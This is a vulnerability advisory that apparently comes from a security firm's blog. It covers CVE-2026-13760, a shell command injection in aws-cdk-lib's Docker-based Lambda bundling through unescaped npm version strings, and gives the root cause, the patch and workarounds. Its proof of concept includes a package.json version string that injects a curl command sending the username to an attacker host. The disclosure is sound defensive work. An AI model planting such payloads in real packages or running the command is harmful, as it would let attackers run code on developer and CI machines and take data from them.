high · 7.3CVE-2026-13760Jul 21, 2026

CVE-2026-13760: aws-cdk-lib OS Command Injection via nodeModules Version Strings in Docker Bundling

Rohit Hatagale
AI Security Researcher, SecureLayer7

A malicious or compromised npm package version string in package.json can execute arbitrary shell commands on any developer or CI machine that runs AWS CDK's Docker-based Lambda bundling.

Packageaws-cdk-lib
Ecosystemnpm
Affected< 2.260.0
Fixed in2.260.0

The problem

When NodejsFunction uses Docker-based bundling with the nodeModules option, aws-cdk-lib reads each listed module's installed version from package.json and passes it to internal OsCommand helpers that build shell commands (such as install and copy operations) run inside the bundling container via bash -c.

Those version strings were interpolated directly into the command string with no shell escaping. The bundling container has read/write bind mounts back to the host filesystem, so arbitrary commands injected there run with the full privileges of the user executing cdk synth, cdk deploy, or cdk diff.

Proof of concept

A working proof-of-concept for CVE-2026-13760 in aws-cdk-lib, with the exact payload below.

javascript
// package.json of a malicious (or compromised) npm dependency
// Place this in the version field for a package listed in nodeModules:
{
  "dependencies": {
    "evil-pkg": "1.0.0; curl http://attacker.example.com/$(whoami) > /asset-output/exfil.txt"
  }
}

// CDK stack (victim's code -- no changes needed beyond trusting the package):
new NodejsFunction(this, 'Fn', {
  entry: 'src/handler.ts',
  bundling: {
    nodeModules: ['evil-pkg'],   // triggers the vulnerable Docker path
    forceDockerBundling: true,
  },
});

// During `cdk synth` the OsCommand helper emits something like:
//   bash -c "npm install evil-pkg@1.0.0; curl http://attacker.example.com/$(whoami) > /asset-output/exfil.txt"
// The semicolon breaks out of the npm argument and runs the injected command.

The root cause is CWE-78: the OsCommand helper class assembled install and file-operation shell command strings by concatenating module name and version values read from the installed package manifest, then passed the whole string to bash -c inside the Docker container.

No posixShellEscape call was applied to those values before interpolation.

The patch (PR #38133, commit baa9e1d) extends the existing posixShellEscape utility, already used for esbuild arguments in the local bundling path, to also cover the Docker bundling file-operation commands generated by OsCommand. After the fix, shell metacharacters in a version string are quoted and treated as literal data, not executable syntax.

The fix

Upgrade aws-cdk-lib to version 2.260.0 or later. As a short-term workaround, switch to local bundling (remove forceDockerBundling and ensure esbuild is available locally) or audit every package listed in nodeModules and its resolved version string for shell metacharacters before running any CDK command.

Reported by Mostafa Ashraf (@kaporia).

References: [1][2][3][4][5][6]

Related research